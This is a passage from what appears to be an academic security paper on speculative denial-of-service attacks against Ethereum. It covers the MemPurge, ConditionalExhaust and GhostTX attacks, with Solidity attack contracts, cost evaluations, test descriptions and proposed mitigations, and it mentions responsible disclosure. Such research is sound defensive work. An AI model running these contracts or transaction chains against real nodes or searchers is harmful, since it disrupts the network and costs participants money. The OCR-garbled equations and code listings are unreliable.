a single transaction paying rf} from each. The cost of this
attack to the perpetrator amounts to x - T;‘c and, interestingly,
the “attack” benefits the victim.

Estimating ‘C;-. Obtaining a good estimation for ‘c;i- is pos-
sible for adversaries that maintain a p2p connection to their
victims or who have an equivalent degree of connectivity
in the network. For attacker who do not enjoy these condi-
tions, one can employ a worst-case estimation to ensure the
attack’s success under all circumstances. For example, the
parameters established in Section 3.3.2 provide such an es-
timation. Furthermore, an attacker can empirically evaluate
typical mempool conditions, as we do in Section 4.4.

Worse-case cost. Given the parameters of Section 3.3.2,
a naive attack that evicts all pending transactions from a

mempool with a capacity of u, 5120 pending transactions
(geth’s default value [19,36]), costs $24,161.

4.3 MemPurge Attack Description

We present an algorithmic description of MemPurge. Intu-
itively, MemPurge “peels” away transactions from the mem-
pool: at each step, the algorithm examines the highest-nonce
transactions currently available, and evicts the lowest-paying
one among these. The algorithm is not necessarily cost-
optimal, but Section 4.4 shows it outperforms a naive attack
in reasonable cases. We note that the attack relies on standard
value transfer transactions, without involving smart contracts.

Input. Assume the attacker wishes to evict m transactions
from a victim’s mempool M, and that the attacker has a set
of pre-funded accounts 4°, 4!, 4%,.... For simplicity, we
assume the accounts have nonces equal to 0.

Output. The attack outputs MemPurge transaction chains
Tl , 1172, ... ,1271 , 1272, .... Furthermore, the attack outputs the



number of necessary attacker accounts A, and the funds that
the j-th account requires a/, in order to execute the attack.

Initialization. Letu®,u', ... u" be all users with at least one
transaction in 9 ,, sorted in ascending order by the number
of transactions they sent. So, u has the fewest transactions,
whereas 1" holds the most. For each u € [n], let T/ be user
u’s transaction with the j-th lowest nonce currently present in
M ,. We define the set of all transactions with the j-th lowest

nonces in M, as N; = {t*/ |t/ € M}, and let n* be the

highest nonce in M ,.

Algorithm step. At each step, a new chain is created. Intu-
itively, each chain is constructed and eventually broadcast to
the network in a manner which prevents fees being charged
from any transaction that is no the first of the chain.

Step initialization. At the beginning of each step, if the
attacker evicted m transactions or more, the attack ends. If the
attack did not end, the account number variable is updated:
A + A+1, and the account’s necessary pre-funded balance
is initialized: a* « 0.

Create chain, part 1: set nonces and fees. For each k =
l,...,up + 1, the chain’s k-th transaction 7% has a nonce

equal to the current index: 7k« k, and pays a fee higher
by one: r‘?k < l+mingyey,, t}, with the fee accounted for in
the corresponding variable: a* < a* 4 /. Furthermore, 7' is
removed from the current set: Ny« < N+ \ {T'}, and if the set
is now empty then the highest nonce is decreased: n* <—n* —1.
If n* < k, then the chain ends with this transaction.

Create chain, part 2: set values. If k > 1, then the transac-
tion’s value is zero: ’c’;\ K < 0. The value of the first transaction
is transferred to the address A4, and set to be the current ac-
count’s balance, minus the transaction’s fee: ’cf P 1:?’1.

Finalization. After the algorithm ends, for each_ Jj =
1,...,A, the j-th address sends transactions /-2, . .. ,r“’f“
to the victim, and only afterwards broadcasts 1t/ L

Correctness. Due to the mempool’s policy, our construction
allows an attacker to create a chain of overdraft transactions,
yet evade being flagged for spending more funds than its
balance contains. Concretely, the overdraft validation is per-
formed when receiving a new transaction from a user who
already has pending transactions in the mempool, exactly
like geth’s [35]. But, per our construction, the lowest-nonce
transaction of each MemPurge chain is sent /ast. This means
that the other transactions from the same chain, which are
received before the lowest-nonce one, are considered “future”
transactions by the victim’s mempool, rather then pending
ones. Furthermore, when the first transaction is finally sent,
geth’s validation logic does not verify all of the user’s trans-
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actions; rather, only partial checks are performed, allowing
the complete chain to be considered as pending.

The correctness of MemPurge with respect to geth’s real-
world policy was affirmed by testing it in a variety of scenarios
using our simulation framework.

4.4 Evaluation

The cost of a MemPurge attack can be computed by running
the attack’s algorithm. As the attack is sensitive to mempool
conditions, a closed-form representation is involved. Instead,
we begin by analyzing a best-case scenario, followed by an ex-
amination of a class of cases that is closer to typical mempool
conditions, culminating with an empirical evaluation.

Best-case scenario. Consider an extreme hypothetical sce-
nario where a mempool, operating under geth’s default set-
tings (mempool size u, of 5120 and a maximum of 64 future
transactions ,u;» per user), is completely filled with transactions
exclusively from a single user.

In this case, an adversary could establish 79 addresses,
sending a chain of 64 transactions from each. These chains
This results in the eviction of all but 64 = 5120 — 79 - 64
victim transactions. Consequently, the adversary pays for one
transaction per chain, so only 79 transactions will be paid for,
considerably lower than the 5120 — 64 = 5056 transactions
required by an equivalent naive attack (per Section 4.2).

Attacking skewed mempools. Consider a mempool M,
where | M ,| = u,, and all senders transmit exactly one transac-
tion, except for a single victim user who sends n transactions
with unique nonces. By the mempool’s policy, an attacker
needs to keep the length of its chain shorter than the victim’s
to trigger a successful attack. If MemPurge aims to evict k
transactions from the victim, the length of the victim’s chain
becomes n — k. The number of attack transactions that incur
fees is the smallest integer i such that 23‘:1 % >k, and each
subsequent power of 2 (i.e., increasing #) allows the eviction of
additional transactions following the same pattern. Therefore,
the attacker requires 2/ adversarial accounts to successfully ex-
ecute the attack, making it a more resource-efficient approach
than the naive mempool attack (see Table 1).

Data. We modify geth to store all transactions received on
the p2p network layer between April 18th, 23 and April 25th,
’23, corresponding to blocks 17,076,370 to 17,121,301 of the
Ethereum blockchain. Our node has the same specifications
as described in Section 3.3. We limit the node to at most 1,000
connections with other Ethereum peers instead of the default
50 peers, with all other parameters set to their default values.
Intuitively, the number of transactions a node can observe
increases with the number of peer connections. In total, we
capture 6,760,060 transactions in the examined timeframe.



Table 1: Maximum number of transactions that MemPurge
can evict given the maximum length honest transaction chain
by a single user (“Victim TX Num”) and the number of Mem-
Purge transactions that incur positive fees. Dashes (-) indicate
that a lower number of attack transactions could be used to
evict transactions. Asterisks (*) indicate that the number of
evicted transactions is equal to the naive attack.
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Figure 6: Boxplot depicting the estimated mempool view
given a maximal capacity of 5120 transactions, based on the
distribution of unique nonce transactions per account between
Ethereum blocks 17,076,370 and 17,121,301 (8 days).

Fig. 6 presents a boxplot depicting the estimated per-block
average mempool view, based on the distribution of unique
nonce transactions per account over the examined period, for
a mempool with a maximal capacity of 5120 transactions. The
majority of accounts (4175.14 £ 677.01) only have one trans-
action. The number of addresses with 10 or more transactions
drastically decreases to an average of 1.0+ 3.0.

Empirical evaluation. Fig. 6 provides insights into the
potential impact of the attack in the context of a single
chain of adversarial transactions. On average, 21.43 £11.09
transactions can be evicted, having an average fees equal to
0.87+£2.16 ETH, when assuming they consume the entirety
of their gas limit. We note that this is an upper bound on
potential losses that can be inflicted on a victim.
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4.5 ConditionalExhaust With MemPurge

Combining the attacks. We note the two attacks can be
used together. The combined attack takes a standard Mem-
Purge transaction chain, and sets its “to” address to a modi-
fied ConditionalExhaust contract. The modification requires
changing the computationally simple branch of the code to
transfer all received funds to some address, thereby allowing
each transaction to also implement the basic functionality
of the first MemPurge transaction. See Appendix B.1 for an
implementation of the attack.

Properties of the combined attack. Each chain of the com-
bined attack comprises of one computationally complex trans-
action, while the rest serve only to occupy mempool space.
As these trailing transactions become invalidated by the first
transaction, they are never executed and do not incur costs,
similarly to MemPurge. On the other hand, as the first trans-
action will only be included in a block by a non-censoring
actor, trailing transactions potentially reside in the mempool
for a longer time, if censorship is prevalent in the network.
Thus, conceptually, the combined attack preserves the good
properties of the two attacks, thereby allowing an attacker
to computationally exhaust a victim, and DoS its mempool.
In particular, the combination allows to preemptively thwart
potential mitigations, as discussed in Appendix D.

Evaluation. We ran the combined attack through the same
tests used to verify the separate attacks, and indeed the combi-
nation performs as expected when executed on a test net. The
gas required for deploying the coinbase variant of the attack
is 131,100 and for a single attack transaction is 23,711, rep-
resenting an increase of 8.5% in the former and a negligible
increase in the latter compared to standalone ConditionalEx-
haust attack. The corresponding numbers for the blockheight
variant are 104,769 and 21,536, again similarly increasing by
7% for deployment, and negligibly for a single transaction.

5 The GhostTX Attack

The GhostTX attack extends the implications of Condi-
tionalExhaust, and shows that prevalent censorship allows
an adversary to attack system actors belonging to the broad
PBS ecosystem. In particular, Flashbots’ PBS implementa-
tion relies on a notion of trust to prioritize actors’ access to
their ecosystem. Thus, a searcher’s reputation is a function
of its historical performance, which is measured according
to the revenue per unit of gas it generated for proposers. The
GhostTX attack allows an attacker to create compliant transac-
tions that are marked as valid by the verification method used
by builders, while causing the method used by relays to flag
them as invalid. Thus, by causing searchers to include such
transactions in bundles, one can decrease their reputation.



Reputation is tied to an address, implying that a compro-
mised searcher must rebuild its reputation from scratch using
anew address. This may be a time-consuming process, during
which profits are lower. Furthermore, the GhostTX attack may
adversely effect the efficient functioning of the PBS ecosys-
tem. As builders unknowingly construct blocks which will
be flagged as non-compliant by relayers, the efforts of all
involved actors are consumed in creating and verifying blocks
that are ultimately discarded, wasting resources that could be
employed to process legitimate transactions, and losing out
on potential profits until the attack is discovered.

5.1 Flashbots’ Ecosystem

Flashbots’ reputation system. The reputation score r of a
searcher U is defined in Eq. (1) [30].

_ Lreny At +pr8r
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D

Intuitively, the numerator in Eq. (1) measures the monetary
profits produced by a given searcher, while the denominator
quantifies the extent of computational resources utilized by
its bundles. Herein, Sy is the set of all transactions submitted
by U to Flashbots, whilst Hy represents a specific subset of
Sy of the transactions which have been included by an on-
chain block. In this context, Ar denotes the direct payment
conferred to the block builder by a given transaction 7. The
gas price and the amount of gas consumed by transaction T’
are respectively denoted by pr and gr.

Private scheduled transactions. Some actors, such as
Flashbots [28], are open to receive private transactions, to-
gether with the promise that these will not be leaked and pub-
licly broadcast to the network. Furthermore, Flashbots allow
scheduling private transactions to specific block heights. Thus,
an adversary can privately send its transactions and schedule
them to blocks corresponding to censoring validators.

5.2  GhostTX Attack Description

Verification discrepancy. The verification function em-
ployed internally by Flashbots’ builder client safeguards
against the inclusion of non-compliant transactions in blocks
by executing each transaction, and checking if the balances
of black-listed addresses change in the interim. On the other
hand, the same client exposes a verification API, which is
primarily intended to be utilized by relay operators for val-
idating incoming blocks sent to them by builders [27]. The
API allows them to ascertain whether fully constructed blocks
are compliant, and it does so by executing a block in its en-
tirety, and making sure that all involved addresses are not
black-listed. Upon a detailed examination, it becomes evident
that the internal function does not consider zero fund transfers
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| pragma solidity >=0.7.0 <0.9.0;

2 contract GhostTX {

3 Replace "Ce dAddress" wit

4 fallback () external payable {

5 assembly{pop(call(gas(), CensoredAddress, 1, 0, 0, 0, 0))}
6 }

7}

Listing 2: An implementation of the GhostTX attack.

to sanctioned entities as warranting censorship if the transfers
are performed using the Ethereum virtual machine (EVM)’s
call opcode, whereas the API does classify the same exact
transfer as non-compliant. An implementation of a contract
implementing such a transfer is given in Listing 2.

Attack description. An attacker can exploit Flashbots’ in-
consistent implementation by intentionally generating trans-
actions that transfer O funds to sanctioned address, thereby
escaping the internal censorship check performed by builders,
but still detected by the external API. By disseminating these
transactions to a multitude of searchers and builders and at-
taching an attractive fee to them, the adversary can ensure
that these transactions are incorporated into blocks assem-
bled by builders. However, censoring relays that receive these
blocks will identify them as non-compliant, subsequently
withholding them from proposers, and harming the reputa-
tion of searchers that included them in bundles. The attack is
depicted visually in Fig. 2.

Proposer variant. If the attacker is the proposer for the
upcoming block, then it can spam searchers with valid trans-
actions that appear attractive per Eq. (1), and are sent from
addresses controlled by the adversary. In particular, searchers
can increase their reputation by including high-paying trans-
actions in bundles, so, high fees in essence are offered as a
“bait”. Preferably, such bait transactions should form a valid
chain of consecutive nonce transactions. Then, the attacker
can invalidate all of them in one fell swoop by including a
single transaction at the beginning of the upcoming block that
transfers all funds from the associated address, to another one.
As before, we turn our efforts to a more difficult variant.

Non-proposer variant. GhostTX transactions sent by the
adversary to searchers may be publicly propagated through
the p2p network, and therefore potentially included on-chain.
Per Eq. (1), included transactions count towards a searcher’s
reputation. To prevent the attack from benefiting its target, an
attacker should schedule a valid non-GhostTX private trans-
action to be released at the same time as a corresponding
GhostTX transaction, with both having the same nonce and
the same fee. Thus, if the attack is initiated only when the
upcoming block is set to be created by a censoring actor that
is known to work with Flashbots, if the transaction’s fee is
set high enough, an attacker can be assured that the valid
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Figure 8: Cost of attacking average searchers with GhostTX.

transaction will be included in a block, thereby preventing the
GhostTX one from ending up on-chain.

Correctness. We verify the correctness of the GhostTX
attack using our simulation environment, which sets up a
builder node and tests attack transactions against it. Our tests
show that attack transactions are indeed considered valid by
the builder’s local verification and are added to the currently
constructed block, but are flagged by the API. In contrast,
equivalent transactions that transfer at least 1 wei are detected
by the local verification, and are omitted from blocks.

5.3 Empirical Evaluation

To gain a deeper insight into the efficacy of GhostTX, we col-
lect data on the searchers currently involved in Flashbots’ PBS
ecosystem, and evaluate the attack’s effect on their reputation,
as determined by Flashbots’ reputation system. Our evaluation
intimates that launching an attack against a well-established

13

80%

70%

100K

50% 60%

40%
(@sn) 1s0d x1asoys

Reputation Percentile After The Attack
30%

20%

=100

10%

0.01 0.1 1 10

100
Accumulated Ether Payment

1000 10000
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searcher proves to be financially prohibitive. Consequently,
GhostTX demonstrates greater applicability towards starting
searchers, or those of average and lower performance.

Data. We compile all searcher bundles sent to Flashbots
between February *21 and May ’23, which were eventually
included in an on-chain block. Given the inaccessibility of
bundles that were not successfully included in blocks, we
assume that searchers enjoy a success rate of 100%, mean-
ing that Sy = Hy, thereby maximizing Eq. (1) for any given
Hy. In total, our data set comprises of 5,281,809 bundles,
which incorporate 8,036,039 transactions. Fig. 7 depicts the
reputation distribution of searchers included in the data set.

Worst-case analysis: attacking the top searcher. We
start by quantifying the costs of attacking the most suc-
cessful searcher, as arising from our dataset. In aggregate,
this searcher contributed 8,240.09 ETH worth of profits
and expended 11.26B units of gas. Assuming a gas price
of 10610~ ETH and an exchange-rate of 2,120 USD per
ETH, we ascertain that displacing this searcher from the upper
50% echelon of searchers requires creating GhostTX transac-
tions that have a worst-case cost of 42.49M USD.

Attacking an average searcher. We extend our analysis
to demonstrate the applicability of GhostTX to the “average”
searcher, when considering the average accumulated payment
and gas expenditure over the entire data set. These average
parameters are equal to a payment of 0.95 ETH and a gas
consumption of 3.28M, which result in a reputation score
of 2.9 x 10!, This puts the average searcher in the 86% per-
centile, meaning it has a reputation that is better than 86% of
all searchers. Fig. 8 elucidates the requisite USD cost to repo-
sition this searcher across varying rank strata. Our findings
suggest that an expenditure of 9.82K USD is necessitated



Table 2: A comparison of this work and previous ones. “Bro-
ken Metre” [60] exhausts victim resources (e.g., CPU and
10), while DETER attacks [49] fill victims’ mempools and
evict transactions from it. DETER attacks are mitigated in
geth [48], while Broken Metre was partially mitigated by be-
coming costlier [67]. See Section 6 for details.

ConditionalExhaust

+MemPurge Broken Metre DETER-Z Naive
[this work] [60] [49] Mempool DoS
“Shock $0=770 $6741 [patched] $24161
block patche

Exhausts v v . .
resources
Exhausts v . . .
mempool
Mitigated x X v x

to relegate the searcher to have a reputation that is lower
than 60% of the other searchers.

Furthermore, to understand the influence of ETH payments
on the cost of GhostTX, we evaluate an attack targeting
searchers with a fixed reputation score of 2.9 x 10!, and
measure the attack’s cost when considering different ETH
payments. The results are presented in Fig. 9.

6 Related Work

The REA of Perez and Livshits [60], and the mempool DoS
attacks of Li et al. [49] are the most comparable to ours. We
now go over both, with a summary given in Table 2. To paint
a complete picture of the current literature, we provide an
overview of additional works in Appendix E.

REAs. This genre of blockchain attacks was inaugurated
by the “Broken Metre” REA of Perez & Livshits [60], which
is designed to exhaust victim resources, primarily CPU and
I0. The authors noticed that some EVM opcodes were mis-
priced relative to their resource use. They then used a genetic
algorithm to craft transactions that maximize resource usage,
while minimizing the fees incurred for the computational load.
The latter is of significance, as the work assumed that attack
transactions will enter the blockchain, thereby also requir-
ing adversaries to cover the their gas costs. The cost of the
offending opcodes was corrected in 2021 [67].

One can compare a single ConditionalExhaust transaction
to an equivalent “Broken Metre” transaction, as produced by
Perez & Livshits [60]. To do so, we create attack transactions
that consume a block’s entire gas quota, and evaluate their
costs using the parameters given in Section 3.3.2, while ig-
noring deployment costs. Under this setting, each transaction
produced by [60] costs $6741, while a single Conditional Ex-
haust transaction costs $5.3. Furthermore, 140 Conditional Ex-
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haust transactions cost at most $770 (see Example 1), and are
enough to bring the system’s liveness to a halt.

Mempool DoS Attacks. The category of mempool DoS
attacks was conceived by Li et al. [49], with their DETER at-
tacks. In these attacks, adversaries create multiple transactions
that fill victims’ mempools with low-fee transactions, thereby
evicting more profitable ones. In particular, the DETER-Z
attack creates a series of transactions, where each one com-
pletely drains an attacker’s funds, so all transactions besides
the first are invalid. The vulnerabilities exploited by their at-
tacks have since been mitigated in geth and are no longer ap-
plicable, as of version 1.11.4, released on March ’23 [34,48].
MemPurge bypasses these mitigations (see Appendix B).

7 Conclusion

This study brings to light the consequences and intricate secu-
rity challenges involved in speculative transaction execution
in expressive smart contract blockchains. By proposing and
evaluating the ConditionalExhaust, MemPurge, and GhostTX
attacks, we uncover critical vulnerabilities within Ethereum’s
ecosystem that malicious actors may exploit.
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A Appendices Structure

The steps required to reproduce this work are described
in Appendix B. The attacks’ limitations are discussed in Ap-
pendix C, and potential design changes to mitigate them are
given in Appendix D. Appendix E presents an overview of
additional related work, and finally Appendix F contains a
summary of all notations and abbreviations used in the work.

B Reproducibility

Our simulation framework, and the code used to evaluate the
attacks, is available in the following anonymized cloud drive,
which includes installation and usage instructions: https:
//drive.proton.me/urls/X4YANWP95R#VBrenRBLfoI2.
Note that AUTHORS files contained within the link, if any,
belong to cloned repositories rather than the authors of this
work. To ensure full transparency and reproducibility, we will
publish the tools developed for the paper under a permissive
open source license, upon the paper’s acceptance. These tools
were made available for the EF and the Flashbots company
as part of the responsible disclosure process.

B.1 Attack Implementations

Omitted implementations of some attack variants are given
in Listings 3 to 5.

B.2 Testing Framework

Our testing framework is a modification of Flashbots’ builder
client v1.11.5-0.2.1, which is a fork of geth v1.11.5. It in-
cludes implementations of the different attacks, and tests that
assert the correctness of the attacks. Thus, if a test passes, it
means that the corresponding attack works.

Usage instructions.

1. Download and install version /.19 of Go’s tool chain using
the official instructions.

2. Download our framework from this link.

3. Unpack the framework, and change the current directory
to builder/eth/block-validation.

4. All tests and benchmarks are included in the file
builder/eth/block-validation/api_test.go. Each
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| pragma solidity >=0.7.0 <0.9.0;
2 contract ConditionalExhaustBlockheightVariant {
3 : C€E this function tc >xXecut the attack.

4 @param the block range fo the attack.
5 function )S) external payable {

6 assembly {

7 “heck if the current block' lidator ul e e
8 if 1t (number(), endDoS) {

9 let i := 565247

10 for { } gt(i, 0) { i := sub(i, 1) } {

11 pop (extcodehash (xor (blockhash (number ()), gas())))

12 }

13 "Cens 5" with your favorite

14 1oned a

15 pop(call (gas(), CensoredAddress, 1, 0, 0, 0, 0))

16 }

17 stop()

18 }

19}

20 }

Listing 3: A Solidity implementation of the blockheight vari-
ant of the ConditionalExhaust attack, which does not require
prior knowledge of the addresses of censoring validators. Fur-
thermore, this variant has a hard-coded number of iterations.
Using a fixed value saves some gas, when an honest validator
includes an attack transaction in a block. In exchange, the
attacker loses some flexibility and cannot change the number.
For example, Ethereum’s gas limit may change and allow for
more gas to be consumed in a single block, and thus more
iterations for each transaction.

1 pragma solidity >=0.7.0 <0.9.0;
2 contract CombinedAttackCoinbaseVariant {
3 mapping (address => bool) private _shouldDoS;

@notice reates a se O f
constructor() {
the validators you would like to DoS here:

4

5

6 4d t dator

7 _shouldDoS[AddressToDoS1] = true;

8 shouldDoS [AddressToDoS2] true;
9

number of ex 1ter

ya

13 nt3 ) external payable {

14 C C > current u'\';\ )] 1c
15 shouldDoS = _shouldDoS[block.coinbase];

16 assembly {

17 if shouldDoS {

18 The computationally complex part of o

19 for { } gt(i, 0) { i := sub(i, 1) } {

20 pop (extcodehash (xor (blockhash (number ()), gas())))
21 }

22 Replace "Censo 1 " wittl 1r rit

23 sanctione ddress!

24 pop(call (gas(), CensoredAddress, 1, 0, 0, 0, 0))
25 stop ()

26 }

27 Replace "NextAddress" the att !

eX 1adress

29 pop (call (gas(), NextAddress, callvalue(), 0, 0, 0, 0))
30 stop ()

31 }

2}

33}

Listing 4: An implementation of the combined attack consist-
ing of both ConditionalExhaust and MemPurge, where the
complex branch is executed as dependent on the executing
node’s address.

| pragma solidity >=0.7.0 <0.9.0;

2 contract CombinedAttackBlockheightVariant {

3 notice Call this ction to execute the atta

4 @pars S The end of the b

5 function at k (uint3
f the current

range the a
) external payable {

2 end

7 assembly {

8 if 1t (number (), endDoS) {

9 let i := 565247

10 for { } gt(i, 0) { i := sub(i, 1) } {

11 pop (extcodehash (xor (blockhash (number()), gas())))
12 }

13 eplace "Censored ress" e

14 sanctioned address!

15 pop(call(gas(), CensoredAddress, 1, 0, 0, 0, 0))
16 stop ()

17 }

18 : xt ess" th e er'

19 next address

20 pop (call(gas (), NextAddress, callvalue(), 0, 0, 0, 0))
21 stop ()

22 }

23}

24}

Listing 5: An implementation of the combined attack consist-
ing of both ConditionalExhaust and MemPurge, where the
computationally complex branch is executed as dependent on
the height of the transaction’s block.

one is a function, with the names of tests and benchmarks
being prefixed with “Test” and“Benchmark”, respectively.

5. A test called “TextX” can be executed using:

go test -v -run=TestX -timeout=0

6. A benchmark “BenchmarkX” is executed 5 times using:

go test -run="$ -v -bench BenchmarkX -benchtime=5x -timeout=0

B.2.1 ConditionalExhaust

Benchmarks. The benchmarks are contained in the
functions BenchmarkValidate Conditional ExhaustTx, Bench-
markValidateHonestTx, and BenchmarkCreateConditional Ex-
haustTx. The first two measure the time required to validate
ConditionalExhaust and honest transactions, respectively, and
the latter quanitifies the time needed to create Conditional Ex-
haust transactions.

TestConditionalExhaustOneShotTestnet. The test exe-
cutes ConditionalExhaust on a testnet, and does the following:
* Sets up a node.

* Sends 2 honest transactions per second to the node.

* Sends 140 attack transactions to the node in one “chunk”.

If the the upcoming validator is censoring (or if the attacker is
the upcoming validator) and given hardware that is equivalent
to the test bed described in Section 3.3, 140 transactions are
enough to overload victims to the point where they cannot
include any honest transactions in their blocks, even when the



block time is 12 seconds, and the test runs for 100 blocks. An
equivalent test for the honest setting can be found in TestHon-
estOneShotTestnet.

B.2.2 MemPurge

TestMemPurgeEvictsMempoolOneAccount. The test
shows that an attacker can evict transactions from a victim’s
mempool and prevent it from including profitable transactions
in the upcoming block. The test does the following:

* Sets up a node.
¢ Sends 5120 honest transactions to the node.

* Verifies that all honest transactions are appended to the
node’s pending queue.

¢ Verifies that if a block were to be mined, it would contain
1428 transactions. Note that 21000 - 1428 = 29988000, so
with another single transaction the block would require over
30 million gas units and thus would be considered invalid.

* Sends 78 chains of 65 MemPurge transactions each. These
transactions pay 10 times less than honest transactions, but
are equal in all other aspects (gas, value, etc’).

* Verifies that there are only 64 honest transactions in the
mempool after the attack.

» Verifies that if a block were to be mined, it would contain
64 transactions, and none of them by the attacker (because
the fee was low).

TestMemPurgePendingDependsOnFirst. The test shows
that even if an attacker’s MemPurge transactions pay a very
high fee, at most one from each chain will be included in a
given block. The test does the following:

 Sets up a node.

* Sends a single MemPurge chain of 64 transactions to the
node, all paying 10000 times more than the base fee.

* Verifies that all attack transactions were appended to the
node’s pending queue.

¢ Verifies that if a block were to be mined, it would contain 2
transactions: the default proposer fee transaction, and the
first MemPurge transaction.

B.2.3 GhostTX

The test does the following:

* Sets up a node which censors a given address.

20

Creates a transaction that transfers a value of 0 to the black-
listed address, and then creates a block. The test verifies
that the created block contains the O value transaction. Fur-
thermore, it verifies that passing this block to the external
validation API correctly flags the block. So, this shows that
while the internal validation misses the transaction and thus
includes it in a block, the external API does not miss it.

* Creates a transaction that is equivalent to the previous one,
but has a value of 1. These two transactions are identical,
except the value that each transfers. The test verifies that this
transaction is not added to the upcoming block. This shows
that the internal validation does not miss the transaction
when it has a value of 1.

C Limitations

Network layer. Like previous works [49, 56,60], our anal-
ysis neglected potential network-layer costs. E.g., although
the time to generate 3,400 ConditionalExhaust transactions is
equal to the time needed to verify a single transaction on the
same hardware, it may be infeasible to broadcast all transac-
tions quickly enough to have an effect, or that the cost of the
required internet connection makes an attack uneconomical.

Higher costs due to generality. Although the Condi-
tionalExhaust attack (and its variants) used PoS-specific termi-
nology, it is general enough to apply as-is to PoW blockchains.
In particular, the coinbase variant of the attack does not take
into account that certain PoS protocols determine in advance
a schedule of the validators who will mine upcoming blocks.
For example, Ethereum’s PoS strengthens the attack, because
its leader election mechanism specifies a public leader sched-
ule [16]. Such knowledge of the future lowers the attack’s
costs by allowing an attacker to only target epochs with a
high percentage of censoring validators. An attacker does not
have to participate in the consensus mechanism to gain this
knowledge, as some services provide an API endpoint for
querying the upcoming validator schedule [29].

Private transactions. Throughout this work, we assumed
that victims broadcast all transactions to the network, and in
fact, attempted to preemptively defend from potential incurred
losses arising from this in GhostTX. Similarly, transactions
created as part of ConditionalExhaust attacks, including at-
tacks combined with MemPurge, would find their way to val-
idators who can include them in blocks. Indeed, the economic
estimation of both attacks accounts for this, and shows that
they are not completely free if the attacker is not a proposer or
if the prevalence of censorship in the network is not total. Yet,
even in such cases, attack costs can be reduced by targeting
victims who allow users to submit private transactions (recall
their brief mention in Section 5). If private transactions are
indeed not broadcast, then the attacker can be assured that its



transactions will only be received by validators who cannot
include them in blocks, meaning that no transaction fees will
be charged for them.

Sponsored transactions. Profit-seeking blockchain actors,
such as searchers and builders, commonly execute so-called
sponsored transactions, which pay the minimal fee required
for transactions to be considered valid, called the base fee,
but are not out right assured to pay any more. Instead, such
transactions execute some logic, and if that logic produces
profits, the transactions pay a portion of it to the actor that
included them in a block.

The high reliance of participants of the MEV ecosystem
on sponsored transactions, including official documents by
Flashbots, means that actors expose themselves to speculative
DoS risks, in the hopes they may allow them to produce profits.
Thus, the applicability of attacks such as ours to these actors
is high, and allows would-be adversaries to target them more
cheaply. For example, by paying fees that are perhaps equal
to the base fee, or even slightly below the equilibrium base
fee, in manner which assures that these transactions become
valid for a very brief time, thereby reducing the risk of them
being included in a block and incurring loses.

In Ethereum, transactions must pay at least some minimal
base fee, which is “burnt”, meaning it is taken out of circu-
lation completely, without transferring it to any system par-
ticipant [31]. Thus, not paying more than the base fee means
that actors lack an incentive to prioritize the transaction over
others, implying that transactions may wait a long time before
entering a block even if they pay the base fee.

D Mitigation

Addressing the vulnerabilities exploited by the discussed at-
tacks is crucial for ensuring the security and integrity of the
Ethereum network. In this section, we propose potential miti-
gation strategies and examine their respective limitations.

D.1 Harnessing Randomness

Secret and random leader election. Although outside of
our model, the possibility of an adversary being a block pro-
poser was briefly mentioned multiple times to show that a
proposer’s knowledge of its control on the contents of upcom-
ing blocks allows it to substantially decrease the costs and
complexity of executing attacks. We emphasize that specula-
tive DoS may be considered as a form of MEV, in particular
one that allows an attacker to harm its competition for its
own good. Thus, attacks such as ConditionalExhaust and
MemPurge allow an adversary to maintain a lead over its
competition, by either evicting profitable MEV transactions,
or DoSing computational resources to prevent the creation
of blocks containing them. If leaders did not have foresight
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of being elected, being a proposer would only confer some
probabilistic advantage when it comes to speculative DoS
attacks, thereby increasing potential associated costs.

Random transaction selection. ConditionalExhaust slows
down block construction because the attacker’s transactions
offer higher fees, thereby causing the default “greedy” transac-
tion selection algorithm to choose the attacker’s transactions
first, as it prioritizes higher fee ones. If some computational
power was invested in choosing transactions randomly, an
attacker would be required to create many more transactions
to achieve the same effect. But, these transactions may have
lower fees. Even when ignoring fees, we emphasize that by
combining ConditionalExhaust and MemPurge, the effective-
ness of such mitigations is lowered: the attack evicts honest
transactions from victims’ mempools, meaning that attack
transactions have a greater chance of being chosen.

D.2 Strict Access Lists

We suggest using strict access lists, in which transactions
that interact with addresses outside their predefined list would
be automatically reverted, with fees accrued up to that point
paid in full, in alignment with standard reverts per Ethereum
improvement proposal (EIP)140 [3]. Currently, optional non-
strict access lists exist, where accesses outside of a given list
are penalized by higher fees. These not widely employed due
to their relatively high costs as specified in EIP2930 [7] and
EIP3521 [32]. Strict access lists, however, suffer from their
own specific limitations as we outline in the following.

Increased costs. This mitigation raises costs for users in
two ways. First, transaction size increases, adversely impact-
ing all users as it reduces the overall throughput of the system,
consequently escalating gas fees. Second, generating access
lists demands additional computation from the creators of
these transactions. To circumvent this, users who wish to
avoid crafting access lists themselves would need to rely on
external services, which may entail further costs.

Security. This mitigation exposes users to risks from ad-
versaries capable of controlling transaction order, such as
builders or validators. By manipulating the state, adversaries
can force honest transactions to be penalized, if their access
list did not account for the possibility of the state changing. To
mitigate this threat, users can proactively protect themselves.
One potential preventive measure entails incorporating sup-
plementary logic within transactions, ensuring that the state
aligns with prescribed requirements. Another option involves
preparing an extensive access list containing locations that
could potentially be accessed, given even drastic changes to
the state. However, both of these protective measures necessi-
tate additional costs and effort on the part of users.



D.3 Limiting Blockchain Scalability

Conceptually, each transaction in the mempool should be ver-
ified against the state, after accounting for previous pending
transactions. But, this substantially increases the amount of
computation required, and thus can also increase the DoS
attack surface. This can be resolved by moving closer to
Bitcoin’s paradigm, which (informally) requires that valid
transactions cannot be invalidated. As a result, validation be-
comes a one-shot effort for a given transaction order, unless
transactions are allowed to be replaced with higher-fee ones.
But, given the Turing-completeness of the EVM, even when
transactions cannot be changed, their order might, and minute
changes to transaction order may require re-verifying a large
amount of transactions.

Thus, geth adopts worst-case out-of-consensus heuristics
to validate transactions before adding them to the mempool,
to ensure some baseline level of validity that is slightly more
resistant to changes in the state. This means that valid trans-
actions can be mislabeled as invalid and rejected, potentially
harming a node’s revenue. In particular, the current heuristics
assume that transactions always transfer their entire value and
consume the gas limit completely, irrespective of the state.
The latter point is of significance, as it is common for transac-
tions to specify some conditional logic based on the current
state. For example, automated arbitrage contracts may execute
a trade between exchanges only if it is profitable [59].

One can adopt even stricter heuristics than the ones em-
ployed by geth, which we now discuss. We note that such
efforts can substantially impact validator revenue.

Limit transaction execution time. One could define a
“global” transaction gas limit which no transaction can pass,
and which is considerably lower than the block’s gas limit.
Thus, an attack would necessitate sending more transactions,
leading to increased potential costs.

Increase the block time. By increasing the time between
blocks, block creators enjoy more time to validate transactions
and add them to blocks. Thus, a ConditionalExhaust attack
will require more transactions to achieve the same effect.

Decrease per-user transaction limits. The MemPurge at-
tack arises due to the ability of a single address to occupy
